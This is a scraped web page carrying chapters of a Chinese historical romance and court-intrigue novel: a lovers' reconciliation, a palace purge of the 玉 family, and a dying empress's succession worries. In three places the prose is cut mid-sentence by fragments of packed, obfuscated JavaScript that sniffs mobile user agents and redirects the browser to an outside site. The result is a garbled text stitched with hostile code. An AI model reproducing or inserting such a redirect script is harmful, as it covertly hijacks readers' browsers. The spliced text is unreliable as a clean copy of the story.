“几个月?姑爷忍得了几个月!”燕儿顿时惊得站起来,神色茫然,若照往常,姑爷哪怕不是夜夜“光临”也挺不过三天,如今却硬生生挺了好几个月,看来这次的事可大了。 她没再掺和,撂下东西便拉走佩儿躲到一旁说小话,颇有指点江山的意思。千里撼也懒得管她们,拿起《玄金策》抄本继续看起来。自那日从东山回来,几个月里她一直在研究这本书,只是左看右看总觉得不通顺,像是少了些什么。 这密密麻麻的字最是催眠,千里撼盯着看了一会儿便在躺椅上睡着了,书本倒在怀中不知所措,光阴转瞬即逝,一转眼便入了夜。 好歹是进了九月,夜里难免有些凉,朦胧中千里撼感觉身上被罩了层东西,紧接着被一阵琴声叫醒。 她缓缓睁眼,耳朵里弹进几个音节,朦胧间竟觉得这乐曲有些熟悉——好像是《兰玉滴》。 千里撼并无动作,就这么仰头听着,愈加清醒。 远处草丛里,燕儿怼了怼佩儿悄声问道,“你知道姑爷这弹得是什么吗?” “应该是满绣遗的《兰玉滴》。” 燕儿:“《兰玉滴》是什么曲子?” “雌兔姣姣,西顾东逃,择我情丝,断我念遥。湘江水涣,至此波涛,为始未问,三错眉刀。琵琶曲,通篇只奏一字‘悔’。”佩儿言简意赅。 此曲哀怨悠长,凄楚苍凉,满绣遗最擅琵琶,因而哪怕此曲多奏羽音也有股肃杀之气,初闻是悔,再听是恨。 可古琴不同,琴声悦己,不比琵琶声强,因而这曲《兰玉滴》听起来倒隐隐藏了几分寂寥的味道。 千里撼不动声色的躺着,静静地听曲子弹了一遍又一遍,她有意不去见那人,像铁了心要教训他。 说到底是一个愿打一个愿挨,这首曲子活生生弹了一夜千里撼也没露面,听到最后燕儿都背靠佩儿睡着了也没等来她期待的“好戏”。 千里撼抿唇听着,一夜没有合眼,身上那件薄衫像有千斤重。她清楚闻武想要什么,但一时有些不知道自己想要什么了,这几个月的分离并不痛苦,只是有些窒息,谁也没讨到什么好,不过他们都想通了一件事——或许这是段孽缘。 一连七日,闻武雷打不动的坐在外头弹,扰得人心乱。千里撼捏着书本却一个字都看不进去,她有意躲着他,每见夕阳都刻意躲进屋内,直到第二天再出来。闻武亦是如此,不过颠倒了作息,整夜整夜的弹琴。 这首曲子她已经快要听吐了,说能倒背如流也不为过,她一个音律不精的人能做到这个程度也算不易了。 这几日愈发的冷了。 也不知道他穿够衣衫没有。 今日的曲子为何慢了? 外头又刮风了…… 有咳嗽声。 有个音错了—— 等等,是弦崩了! 千里撼猛地站起身来冲向门口,大门推开的一瞬间,她看到闻武只披着一件外衫沐浴在月光下。 他抱着琴,十指全部磨破,方才崩断的弦染上一道血色,像在他手心抽了一鞭子。 闻武微微侧头,带着惨白的笑仰望千里撼,眼尾染上一抹红,“郡主是原谅十三郎了吗?” 她看着他,喉咙愈发的紧,心口像压了块巨石,眼前人毫无血色像枯白的玉兰,千里撼本来也是赌气,如今见他这副模样,那股自以为是的愤怒全消的无影无踪。 几月没见,分明离得这样近,她也没亏待他,怎么就成了这幅模样。千里撼同样没休息好,面上带着疲态,哑着嗓子道,“……你瘦了。” 一滴泪珠重重砸在琴弦被分成几瓣,他看着千里撼,泪眼朦胧,固执的又问了一遍,“郡主可原谅十三郎了吗?” 千里撼皱着眉,有片刻的晕眩,比起原谅,她更想听的是另一句话。 见千里撼不语,闻武的眼泪越哭越多,仿佛要替今秋把雨下完,她的沉默似铡刀般轻而易举切断他最后的奢望——千里撼大概真的不再喜欢他了。 想到此处,闻武徒然心死,猛的举琴掷地,一声巨响,琴身断裂。他轻笑一下,仓惶退了半步,甚至不敢看千里撼,“……对不起。” “等等!” 千里撼叫住他,缓缓走下台阶,将晶莹的泪珠捧在手心。 “我分明还没回答你,为何要走?” “郡主不是厌弃了我,不愿同我说话了吗。” “我从没这样说过。” “那你为什么不和我说话?” “我在犹豫。” “犹豫什么?” 她替闻武擦了把泪道,“犹豫该拿你怎么办好。” 闻武看向她,破涕为笑,脑袋凑近抵在千里撼肩上,“那你想好了吗?” 千里撼摇摇头。 “……对不起,”闻武哑声道,“我是个任性妄为的人,并不聪明,还喜欢耍小脾气。我不会毒死你,我喜欢你,那日我是气疯了才这么说。” “求你不要讨厌我,无论生死,都带着我,”他环住千里撼哀求着,“好不好?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292915|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 千里撼抚上他,顿了顿,“我只能答应第一条。” “哈哈,”闻武往她怀里蹭了蹭,“我就知道你会这样说。不过这就够了,我只要个爱你的资格。” 他笑起来,忘却十指疼痛,像泡进了蜜罐子,“那天你说你曾见过我,其实我没忘。当年我跑出去原本是想死的,恰巧遇见了奄奄一息的你,你还记得当时对我说了什么吗?” 千里撼摇摇头。 “你当时光着脚在雪地走了许久,一副受到惊吓的模样,我在你旁边打着伞预备跳河。本来都要下去了,结果你突然扑过来抓着我说,‘神仙!你是神仙对吧?你长得这么漂亮一定是神仙,你告诉我这是哪儿,我要回家!送我回家!’”闻武道。 “那是这辈子第一次有人夸我漂亮,”他看着千里撼,柔情似水,“我把你背回相府,还把伞送给你,本想当定情信物。可你当时神志不清,口中念叨着日后定要为我塑金身、奉香火。真叫人哭笑不得。” 千里撼全然不记得这些,有些羞愧的低下头。一双冰冷的手缠上她的脖颈,像撩水般托住她的脸颊,紫色的瞳孔像山间朦胧的雾气,闻武望着她,不再伪装,“我一直看着你,一直在等你,从没忘记过你。” 原来不是独角戏。 千里撼定定看着他,释怀的笑了,她捂住闻武双手,抵住他的额头细语道,“我也在等你。” 终于,她终于等来了全部的闻仙狂。等待和执着在这一刻都得到了解,原来十二年前真的没下雪,是她看到了闻武。 千里撼闭上眼感受这份温暖,她和闻武是同样的人,都渴望一个归处,不同的是她敢不停留。 这份感情早占了天时地利,但人和这一步才最难走,几个月的沉默,七个夜晚的忏悔,折磨的又何尝是闻武一人? 她突然想起什么,推开闻武道,“我去拿个东西。” 黑色螺钿盒被千里撼捧在手心,她笑了笑,捧起来端到闻武面前,“打开看看喜不喜欢。” 闻武掀开盖子一瞧,当即愣住,若不细看定会以为盒中藏了只白孔雀。他揉了揉眼睛,将衣裳拿起来,金色的线像一张网罩在雀羽上隐隐发光,他听说过的,这叫雀羽金丝氅! “送给……我的?” 这样好的东西,许多达官显贵一辈子都不曾见到,得到了也恨不得带进坟墓,而千里撼就这样轻易的,送给他? 闻武看着千里撼有些不知所措,他甚至有些怀疑千里撼不晓得这东西的价值,想要解释。 “不然呢,这屋里还有别人?”她笑着拿起大氅在他身前比了比,“果然适合你,好像神仙下凡呢。” 闻武:“我,可不可以问郡主个问题。” 千里撼:“你问。” “……郡主为何,不碰我。”他像鼓起了极大的勇气,脸撇向一边涨的通红,“无论我如何暗示,哪怕夜夜来寻郡主,你都不碰我。这究竟是为什么……” “……啊?”千里撼忽的愣住,“不是要等成婚后才可以吗?” “当然不是!”闻武一顿,突然笑起来,像劫后余生,抓住她道,“这样说你不是讨厌我,对不对?你不讨厌我!” “我当然不讨厌你,我为什么要讨厌你?” 千里撼忽然顿悟,原来还可以这样吗?怪不得自闻武入府之后便夜夜来她房中,每每离开时神情总十分别扭。 这大魏居然是这个风俗吗? 钱双双你害人不浅啊! 室内忽然陷入黑暗,千里撼道:“许是蜡烛烧完了,我去再点一根。” 她去案旁找出根蜡烛点上,微弱的火光勉强照亮四周,千里撼举着轻轻蜡烛吹了吹,一回身却瞧见闻武脱了个精光。 紫色的衣衫堆叠在他脚下,如雪的长发随意拢在身前,闻武一点点套进那件大氅,随后带着点点笑意看向千里撼。 她本以为闻武十分瘦弱,不想却还是低估了他,男性的躯体毫无保留在她眼前展现,千里撼大脑有一瞬间的空白。 这是叫勾引,对吧? 千里撼举着蜡烛迟迟不动,缓慢的理解着闻武的意思,直到他走过来,拉住她,往塌边走。 两人面对面站着,千里撼才终于明白状况,她笑自己不解风情手里居然还捏着根蜡烛,转头就要吹灭。 “等等。”闻武阻止她道。 “为什么?” 他接过蜡烛放进灯罩,神秘兮兮的的贴近千里撼耳边低声道,“你得看着我。” 火光点燃银丝照出太阳的温度,两道影子似蛇般交缠,一波未平,一波又起。说不清是谁要杀死谁,只晓得月光碎了,水镜破了,四周挤满了云朵。 46. 金戈变 一 翻滚的云夹杂着闪电发出声声闷哼,阴沉着脸飘在皇城上空,白笑孔握着最新传来的捷报悄悄松了口气。 “咳咳咳!”她忽然吐出口血痰,猩红的、黏腻的,死死扒在胸前金龙七寸。 “陛下!” 一旁侍从见状急忙为其擦拭,却被白笑孔攥住手,“闫华,我老了吗?” “陛下是天子,寿与天齐。” “我想听真话。闫华你说,我只信你。” 闫华鼻尖一酸,忽然掉下几滴泪,她为白笑孔抹去血迹,淡淡的笑着,“陛下千秋万代,白家社稷长存。” 白笑孔:“我最近总能想起从前的事,从前的人。想当年我踩着尸山血海登上皇位也未曾有半分后悔,为何如今却两头怕。我的江山、我的孩子,我该拿他们如何是好呢。” 乌云悬在穹顶翻滚着,时不时眨眨眼,水滴砸向石砖激起灰尘,金色的宫殿像要巨兽衔在口中的糕点。 淅淅沥沥的雨点砸起尘埃,像白笑孔当年站在门后朝姐姐射出的那支箭矢,锋利、沉重,似有万斤。 密密麻麻的痛从膝盖爬满全身,她突然想起当年白曦华就是这样万箭穿心,那是种什么样的感受? 她挣扎着站起来推开大门跑向雨中,豆大的雨珠很重,像在推着她走。 雨滴扎进血肉在白笑孔体内生根,乌云里的巨兽轰隆着,白色眼珠不错目的盯着她。 “陛下!陛下您快回来啊,外面下大雨呢!”闫华举着伞奔向白笑孔。 云像铁匠般疯狂,举着锤子奋力敲击,借机抒发心中藏匿的恨,巨大的铁锤冒出火星,每落到铁块上都是一滴雨水。 白笑孔小时候最喜欢冰,但她不是喜欢吃冰而是喜欢拿着冰在石头上敲碎。有次白曦华用冰雕了只小兔子送给她,白笑孔很开心,找了块最干净的石头慢慢的敲,冰在手中炸开的一瞬间,飞溅出去的冰碴和星星一样漂亮,尤其是在夜晚。 可惜那天没有星星,连月亮也不见了,她举着火把,远远看见白曦华拿到了圣旨,于是射出了第一支箭。 银色的箭头泛着浅光似星星一般,漂亮极了。 白笑孔睁开双眸,雨水渗进眼底,她忽然轻松许多,放下了固执的双臂低着头。闫华追上来为其撑伞,她们相互搀扶又走回那座金色的宫殿——九月结束了。 “孺儿送来的药还有吗?”白笑孔问道。 “回陛下,还有一些。” 她招招手道,“拿来,我服下。” “是,奴婢这就去。陛下且先换上干衣暖和暖和。” 白笑孔茫然眨了眨眼,远远地望见玉玺下压着的一打信封——那里头全都是捷报。好,真是太好了!玉雪倾果然不负众望屡战屡胜,为大魏驱除外敌! 可她有点太好了。 好的让人惧怕—— 白笑孔:“拟旨,传孺儿进宫。” “楚国公玉襄,潜通外敌,私纳金帛,密漏戎机,罪迹昭然!依《刑律》,褫夺官爵,付正聿寺羁审,其直系亲族暂拘大狱!咳咳咳!” 闫华提笔,字字惊颤,她甚至不敢相信自己的耳朵,却还是一字一句写完了这道圣旨。 黑甲军如同猎犬般出动,白圣孺站立其中,当晚便围了玉家。 一夜之间,大魏玉家,空了。 吕氏见势不好,大门紧闭,连夜送孩子出城,暗中派人去找玉雪倾。 大雨漂泊,黑甲军似鱼鳞般一层层钻进国公府,黑暗中,带着阵阵厮杀声,腥甜的气息令人作呕,被一阵风吹到闻府的门槛。 闻老头猛地阖上门,口中念叨着“晦气”,他回头睨了眼那片漆黑,唇边勾起一抹笑意。 “百年世家啊……呵呵,可惜你们太蠢,选错了主子!” 千里撼被一阵异动惊醒,背上出了层细汗,外头雨下的很大,把所有声音都遮盖住,她捂着在胸口喉咙像卡了根鱼刺,北阙何时这样安静过? “不对……不对不对!不对不对不对不对不对不对!!!”她撕扯着头发像忘了什么事,周身格外的冷,究竟忘了什么? 究竟忘了什么!! “郡主?!”罗凛惊醒前来查看,却发现千里撼将自己脖颈挠出数道血痕,手心还抓着团头发。 西北的风最是狠辣,吹的叫人惧怕,白日的狼嚎夜里的鬼叫,哪个都像在催命。 玉雪倾骑马巡在水边,望着片片黄土忽然没来由地心慌。 来时还是霜雪连天,一晃过了已经过了这么久。这里的天黑的比皇城晚些,时节分明,粗犷苍凉,就是有毒的蝎子太多。 “玉副将,你也在?”千里逢一夹马腹,朝玉雪倾靠近些,他老远便望见她。 玉雪倾微微侧目点了点头。千里逢还是那般玉洁冰清,哪怕漫天黄沙也无法染指他半分。 他不爱穿铠甲却又不得不穿,毕竟是做主将,于是卸了肩甲摘了头盔,总在赭帘湾附近游荡,仿佛满肚子的诗才无处安放。 可几个月过去了,玉雪倾一首都没见到。好在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292916|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人还是有些可取之处,脑子活络的很,运筹帷幄,决胜千里,最会识人用人,仿佛开了灵眼,每次仗打到后头便冲出来给敌军致命一击。 若说他不会打仗,这倒未必。玉雪倾掏出宝剑擦了擦上头附着的血迹,这颜色和千里逢脸上那颗泪滴般的痣一模一样,似笑非笑,似哭非哭,总爱阴阴恻恻的先斜人一眼再正视,露出那滴“红泪”,像示弱似的。 “副将也爱来赭帘湾?” “路过。” “这地方要走许久才到呢,你这理由说不过去。” “是呢,我特地来此。” “那副将最喜欢赭帘湾的什么?” “喜欢它里头的水,能洗干净剑上的血。” “这……不觉得有些浪费了吗?” “我是粗人,只懂打仗,不懂风花雪月。”玉雪倾将剑插回剑鞘道,“大将军既有闲情于此便留下吧,你懂赭帘湾。” 千里逢低头笑笑,“副将知道赭帘湾的传说吗?” “不知道。” “没关系,我可以说给你听。”千里逢前进几步道,“传说上古有神名曰黄锦,她是赭帘的守护神,可是有一天赭帘路过一个名为红的商人,他骑着骆驼迷失在赭帘。黄锦对红一见钟情,为了帮他到达目的地不惜违背对要永远守护赭帘的誓言,企图和红远走高飞做一对眷侣。但她失败了,作为赭帘的神,她一旦离开便会粉身碎骨。后来她的身体化作这片沙漠,眼睛则化作赭帘湾。” “……红呢。” 千里逢:“不清楚啊,有人说他跳进赭帘湾殉情了,也有人说他迷失在了沙漠。不过传说喝下赭帘湾的眷侣都会得到黄锦的守护,下辈子也能在一起呢。” “呵呵!” 千里逢看向玉雪倾顿了顿道,“你笑什么?” “一个背叛誓言,抛弃子民的女神,谁会需要她的守护?黄锦咎由自取,化作沙漠是她最后的体面,一旦走出这片沙漠她将不再是神。她太蠢,太无知,远远不明白作为人的痛苦和折磨,好在她最后是作为神死去,保留了起码的尊严。”玉雪倾笑起来,看向千里逢调侃道,“活人还是少向死人求,她都没有的东西,怎么会给你呢?” 千里逢咬了咬牙,眯眼笑道,“副将说的有道理呢,是我痴了。” “在下愚见,烦请大将军勿要在意。”玉雪倾拜别道。 千里逢点点头,待玉雪倾走远后掏出水壶将里头的水倒个干净,干净的杏眼弯弯的笑着,眼角的弧度好似镰刀。 47. 金戈变 二 “来人!” 闻之元桌上铺满罪状,如同锁链般穿成长串,“你把这封信现在送去相府,切记不可被人发现!” “是!” 雨还在下,像泄洪似的,今夜正聿寺灯火通明。 千里撼捏着那张信纸,上头密密麻麻的人名快要将她晃瞎,她千算万算没想到白笑孔会来这么一招釜底抽薪! “佩儿!” 千里撼抓住她的肩膀,神色紧张,像见了鬼,“你带燕儿现在就往西北走,一定要在边关拦住玉折!死都不能让她回来!快去!” “是!” “罗凛,”千里撼换上夜行衣道,“你去备马车,越多越好。在东山驿站等着我。” “郡主!”罗凛一把抓住她的手腕,“万事小心。” 大雨瓢泼,夜深似墨,千里撼只身穿梭其中,来到一扇门前。她绕过大门,闪进偏门,终于见到闻之元。 “郡主!”闻之元一见来人,即刻紧闭房门,“可准备好了?” “备好了,一百三十人。” “不行,”闻武之元眉头紧皱,压低声音拿出本册子,上头有些名字被朱砂划掉,“你不可能把玉家所有人都换出去,陛下不是傻子!这些被划下去的全都没法逃脱,你能换的只有那些远亲孩子,统共六十一人!” 千里撼一愣,忽然清醒。是啊,怎么可能全部换出去? “那玉襄……” “她一定出不去。”闻之元认真道,“陛下点了名要杀她,又怎会留活口?” “……好,事不宜迟,那六十一人现在就换!”千里撼顿了顿,屏息道。 “郡主,”闻之元拉住她,“我可设法使你和玉大人见一面。” 连山关外,两匹骏马飞驰,远方就是大漠,忽而迎面袭来另一匹。 燕儿见状呼喊道:“玉姑娘!” 可惜那人毫不理会,只一门心事向前冲,佩儿见状上前截停道,“玉姑娘请留步!” 玉雪倾满眼血丝,神情冷峻,腰上挎着长剑,似绷紧的弦,“二位有何贵干。” “你不能回去。”佩儿直接道。 “让开。” “不让,郡主叫我们拦住你。” “让开!”玉雪倾当即抽出长剑指向佩儿,“我就是看在千里撼的面上才不与你动手,让开!” “玉姑娘!”燕儿自远处跑来道,“玉姑娘听我一言,郡主当夜知晓此事已经拼尽全力保护玉氏族人!她秘密换回族人运往东山,如今三日已过,诸般罪名已成定局,玉姑娘一旦回去就是逃兵!这无异于给了白笑孔杀你的理由,若你死了,玉家就真的完了!” 玉雪倾:“那我要怎么办?躲在西北做缩头乌龟,还是继续为她白家卖命!” “玉姑娘,郡主叫我给你带一句话。她说叫你好好想想,现在回来究竟有什么用。” 玉雪倾闻言手臂一抖。 “如今皇城有黑甲军,固若金汤!就算你带兵杀进皇城又能如何,事已成定局,你此举不过是自投罗网罢了!况且玉姑娘你手里又有多少兵,哪怕把东山和西北这些全叫上又能不能凑齐两万?” 燕儿:“皇城内四万黑甲军,皇城外五万驻守军!这些都是给你准备的!玉姑娘,郡主猜到你会回来鱼死网破,可你想想,这值得吗?你进得了皇城吗?” 玉雪倾颓然低下头,长剑落地卷进流沙,她忽然不知所措,捂住脸颊哀叹,“那我要怎么办,我该怎么办!一夕之间,我的家没了,我的至亲全都要死!我怎么清醒,怎么冷静!” “玉姑娘,韩信可受胯下之辱,你我焉何不可?小不忍则乱大谋,白笑孔这一招还没完呢!她就是在等你入局,到时倒的不仅是玉家,还有千里家!我们郡主陪你死!” 燕儿:“可你真的忍心吗,你真的甘心吗?十几年的筹划,二十几年的屈辱,你就不想翻身吗!” “回去吧,玉姑娘。回去,你就还是大魏的玉都尉,回去,玉家就还有希望。西北有你舅舅,有兵。白笑孔这无非是死前的最后一次挣扎,成不了气候的,我们不会忍耐太久了。” 玉雪倾没说话,扯了扯马缰调转方向往回走去。马尾有一搭没一搭的敲击蹄腿,那把剑被沙子嚼碎骨头,了无痕迹。 一年后,白笑孔罢朝多日,病入膏肓,诸位皇储皆位于宫中侍候—— 祥慈堂内一片春景,千里冰封坐在躺椅上拨弄着棋子,何瑾坐在她对面,“差不多是时候了吧。” “嗯,”她点点头道,“叫云州那些人退了吧,玉家姑娘该回京了。” 四月,千里逢带兵击退外敌,歼灭流寇,大胜归来。千里逢封疆拜候,玉雪倾戴罪之身,死罪可免,着其闭门反省不得外出,未有皇命,不得探望。 “罪臣玉雪倾,跪谢皇恩!吾皇万岁万岁万万岁!” 国公府一如往常,虽空了尽两年却还算整洁,应是有人来打扫过。 玉雪倾抵着鼻子扇了扇灰,缓缓踱步进高风阁,分明也没走很久,怎得一夕之间天翻地覆,若是往昔,姨母定会站在门口迎她。 风吹木门咯吱咯吱的响,难免萧条,她一把推开大门,忽然瞧见一道身影。 “……琼林?” 那人看着玉雪倾,眼眶通红,两道眉毛拧在一处,竟还挤出抹笑容,“玉折,好久不见。你瘦了许多。” 玉雪倾定定看着她,鼻尖一酸,冲上前去。两人相拥一处,腹中千万词,欲语泪先流。 玉雪倾:“好久不见,好久不见……” 千里撼紧紧抱着她,胸中闷痛,玉家散了,她成了孤魂野鬼,再无归处。 “你放心,玉家和吕氏的孩子我都藏的好好的,她们不会有事的。”千里撼安慰她道。 “谢谢你,琼林。” “……去见过玉大人了吗,我托人将她和你娘葬在了一处。” “去过了,”玉雪倾惨笑,“一座孤冢三只鬼,还有满地除不尽的杂草。” “常玄呢。” “我叫他留在西北了,”玉雪倾看向千里撼苦笑,“我怕我这次不能活着回去。” “你会活着的,我向你保证,”千里撼擦掉她的泪珠,从怀里掏出一个布包,“我去见玉大人时才发现她的腿已经被白圣孺打断了,玉大人自知逃不出去,便留下这封血书和兵符。她叫我转告你,玉家女儿有气节,比起死更怕窝窝囊囊一辈子!” 千里撼抹了把泪紧着嗓子道,“她求我把这个带给你,叫我一定要拉住你,不要意气用事。” 玉雪倾接过布包缓缓展开,浅黄色布条上布满血痕,她颤抖着展开,看到里头银色的兵符。这是玉家世代豢养的私兵,以备不时之需,可玉襄当时没有动用,而是选择留给她。 “我会的姨母,我会的……”她捧着布包,无声垂泪。 这几个月,白帝媐代为理政,如今玉家散了,千里家一家独大,举轻若重。闻家背靠白圣孺蠢蠢欲动,闻祁手下部分孩子也被安进军中,朝中震荡,风言风语自然多,不过说得最多的就是,“这下闻家要出头啦!” 白笑孔睡了沉沉一觉,难得清醒,一睁开眼便叫来白帝媐问政。 “皇上,公主到了。” 白笑孔睁开浑浊的双眼,漫无目的看着前方,“叫她进来吧。” “母皇,”白帝媐一进来便关切的握住白笑孔双手道,“母皇急召我来可是有什么事?” “闫华,你先下去吧。”白笑孔对一旁宫女道。 闫华:“是。” “母皇……” 左右屏退,四下无声,偌大的宫殿只有母女二人。白笑孔抬手想摸摸白帝媐的眉眼却在其眼中瞥见一名老妇,岁月如梭,恍惚间她问道,“我今年几岁了?” “母皇今朝,五十有四。”白帝媐接过那只手按在掌心,指尖针扎似的疼,她的母皇从不在意衰老,如今竟也为此恍惚。 “原来已经过了二十七年。”白笑孔感慨道,“我二十七岁即位,尸山血海里爬出来,什么没见过。想当年我继位三天,白锦绣便联合群臣要将我拉下龙椅。那么难,我也都过来了。” “咳咳……” 白帝媐见此拍了拍白笑孔后背,掏出手绢接在她唇下,不想竟接到一口血。鹅黄色的绢布上开了一朵殷红的花,它立在白帝媐手心,刺眼的滚烫。 白笑孔倒是淡然,捂住白帝媐那只僵硬的手拍了拍,“生死有命。” 她长叹一声,忽然想看看外面的天,可皇城的天还不是那样?一阵香气袭来,白笑孔深吸一口忽然问道:“是不是荷花开了?” “荷花?”白帝媐四下望去,犹豫道,“母皇要看荷花吗?昼儿现在就叫人搬来。” “不必了,你找不到的。”白笑孔揉了揉眼,侧卧榻上,“只有白叶粉根的荷花才是真荷花。其它都是假的,望梅止渴罢了……” “这是什么意思?” 白笑孔:“你还记得你父亲吗。” 这一问,像划开了白帝媐的心脏,她顿时头皮发麻,不知如何是好。 对于“父亲”,她脑中只有个模糊的印象,知道他叫袁氏。有人说他是前古国重臣之子,也有人说他是塞外来客,更有甚者说他是天人降世被白笑孔锁入深宫,可这些流言在她三岁时便被斩断,因为袁氏死了。 自此以后,前朝后宫再没有他的传言,连他的名字也不敢提起,他成了秘密,只有白笑孔知道的秘密。 白帝媐一直对自己这个父亲多有猜测,可这么多年过去,她早已无心探究。 “不记得了。”白帝媐跪坐塌下倚在白笑孔手臂上道,“母皇为何说起他?” “真可惜啊,我以为你多少会记得些。” 白笑孔笑了笑,哼唱起一段旋律,这是很老的调子了,白帝媐却有些耳熟。 “记得吗,他在时总哼着这首曲子哄你入睡。”白笑孔道。 白帝媐:“依稀……有些耳熟。” “这首曲子叫《恨水》,”白笑孔道,“我们初见时他惨极了,脏兮兮的,身上也没钱,饿的没办法就去摘荷花吃。我那时忙于公务,焦头烂额,偶然见他这副模样竟笑了出来,扔给他一对镯子买吃食。可他好不识抬举,说自己不稀罕,要我收回去。” “我哪里会收,讥讽他几句就走了,可过了几日他竟不知从哪打听到了我住处,在门口硬生生蹲了四日才蹲到我。”白笑孔说着,不自觉笑起来,“他更瘦了,但还是昂着脑袋说自己不是乞丐,我彻底拿他没办法,便带他入府做了一桌子饭菜给他。” 白笑孔看向白帝媐,抚了抚她的眉眼道,“你的上半张脸最像他。” “后来呢?” “后来这人更生气了,说自己这样实在失礼,吵着要沐浴更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“后来他生了场大病,太医都说救不回来了,可偏偏你出生了。就这样,他吊着一口气又活了过来陪我三年。他生前最喜欢的事就是在懿灵台唱歌,他一唱,芙蕖就开了。我抱着你,坐在台下看他,那是我这辈子见过最美的景色。一支恨水催芙蕖,半盏血泪岁三雨。” “可我留不住他,”白笑孔摇摇头,眼中隐隐有泪,“彼时天下大旱,民不聊生,偏偏他死后却整整下了三年的雨。有人说他是妖孽该死,有人说他是神灵归位,但我哪个都不信。我命人以他的模样在三衢海建了水神像,之后大雨就停了。如此十年,风平浪静,你说巧不巧。” 白笑孔支起身子将那只簪子插在白帝媐头顶,“许是天命不佑,也可能是我作恶太多,十年之后天灾人祸接踵而来。白家的江山到我手里已然千疮百孔,如今,这烂摊子又要送到你手中了。” 白帝媐摸了摸那根簪子,有些不敢相信自己听到的一切,茫然的望着白笑孔。 “昼儿,你恨不我恨我?”白笑孔咳了咳继续道,“当年我与你约定,若你执意要禾华便不可要皇位咳咳咳……” “母皇!母皇,”白帝媐慌张的抚上白笑孔颤抖的脊背拥住她,“不恨的。唯独这个,我不可能恨你。” “你太喜欢他了,而他却不值得你的喜欢,”白笑孔道,“昼儿,你是白家的太阳,我对你寄予厚望!你的路,远比我还要难走。我时常感觉自己对你过于苛刻,可我没有办法。做皇帝,不能是情种啊!你还记得《伤生》里的话吗,‘情以药铸,深则毒,浅则救。为君者,当处无我无心之地……’” “我记得,”白帝媐接着背诵起来,“孽生缘,情生怨,爱生疑,反者皆怖。君母以德临天下,伴水行之,少欲无求,唯民若重。” “你从小读这些,我也从小读这些,可我自己尚且做不到,如今只能逼你这样做。我老了,没法再替你探路,大魏四家我收拾了两个,前朝乱党我杀了个干净,如今只剩白湘颂一个。” “敬国夫人已然成为空壳,母皇不必再忌惮了。” “可我还是恨!”白笑孔猛的吐出口血来,“如果不是她要夺权袁郎就不会死!当年我被愤怒冲昏了头,想效前古国,立江氏为后,把白湘颂彻底踢出皇城。可惜没人理解我,就连你也反对。不过后来我想通了,此举的确太过鲁莽,况且江氏一个赝品,又怎配与我并享天下呢?” “昼儿,娘只能帮你到这儿了,以后的路要你自己走。”白笑孔说罢拿出一个木盒给她,“拿着,去做你该做的。” “儿臣,谢过母皇!”白笑孔起身退后,恭恭敬敬磕了三个响头,泪珠砸在石板上碎裂。 “走吧,都走吧……”白笑孔闭上眼睛,恍惚间耳边又奏起那支曲子,那时她二十多岁,有权力、有孩子、有爱。 泪涸伤汇三衢海,风起孤茕晓轩辕。 白笑孔睁开眼,只剩孤单一人,她陷入回忆,突然笑了出来。白湘颂这辈子只做过一件好事,就是把江氏送到她身边。 他和袁郎太像了,像到她以为十几年过去,袁朗已经投胎转世重回人间。 可他毕竟不是袁郎。 貌似而已。 她一次次饮鸩止渴,哄骗着自己过活,江氏也很听话的模仿起袁郎,可他毕竟没见过。他们差了太多,由内至外,学的了皮相却仿不出神,高不成低不就,一次次揪着她的心不得安宁。 白圣孺…… “闫华。”白笑孔喊道。 “奴婢在。” “去请孺儿来。” “是。” 48. 金戈变 三 “殿下,宫中传来圣旨请您去一趟。” “知道了。” 黑色瓷瓶在白圣孺指尖游走,像踌躇的棋子,已经两年了,他等了整整两年,为什么这道立储诏书就是迟迟不肯给他! 难道还要再等下去吗,真的有机会吗,这些年的蛰伏与屈辱都白受了吗!白圣孺痛苦的捂住额头,一呼一吸间理智正在溜走,他攥紧拳头猛的往桌上一砸。 “来人!去问问敬国夫人,宫中近来可有异动。” “是。” “三哥,”白伍施进来道,“母皇今早召见了白帝媐。” “什么?” 白圣孺忽然绷紧,“这时候见白帝媐做什么……” 白伍施:“皇兄,不能再等了!母皇迟迟不肯下诏,这就是预兆!你回京这么久,又日日在宫里侯着,可母皇呢,她分明就没拿你当回事儿!你就住在修心斋,离母皇一箭之地,比她白帝媐的存熙阁不知近多少!这些日子里,除了夜抄国公府外母皇哪次单独召见过你?皇兄,犯傻也要有个度!我们的母皇就是偏心,偏心她的女儿,看不上我们这些带把的!今时今日此情此景你还在等什么,你究竟在赌什么,赌母子情深吗!” “不要说了!”白圣孺猛的拍桌,从牙缝中挤出字,“我有分寸。” “分寸?你有什么分寸,三年又三年,从被派到豫州那个鸟不拉屎的地方开始我就一直在等!我夹着尾巴苟且偷生,日日笼罩在她白帝媐的阴影下!三哥!你当初是怎么答应我的?你说等你回来,等你拼出一番事业回来与她抗衡,做我的保护伞,可你如今呢?白圣孺,你是不是陪她玩母慈子孝的游戏上瘾了?” “白伍施!” “白圣孺!!” 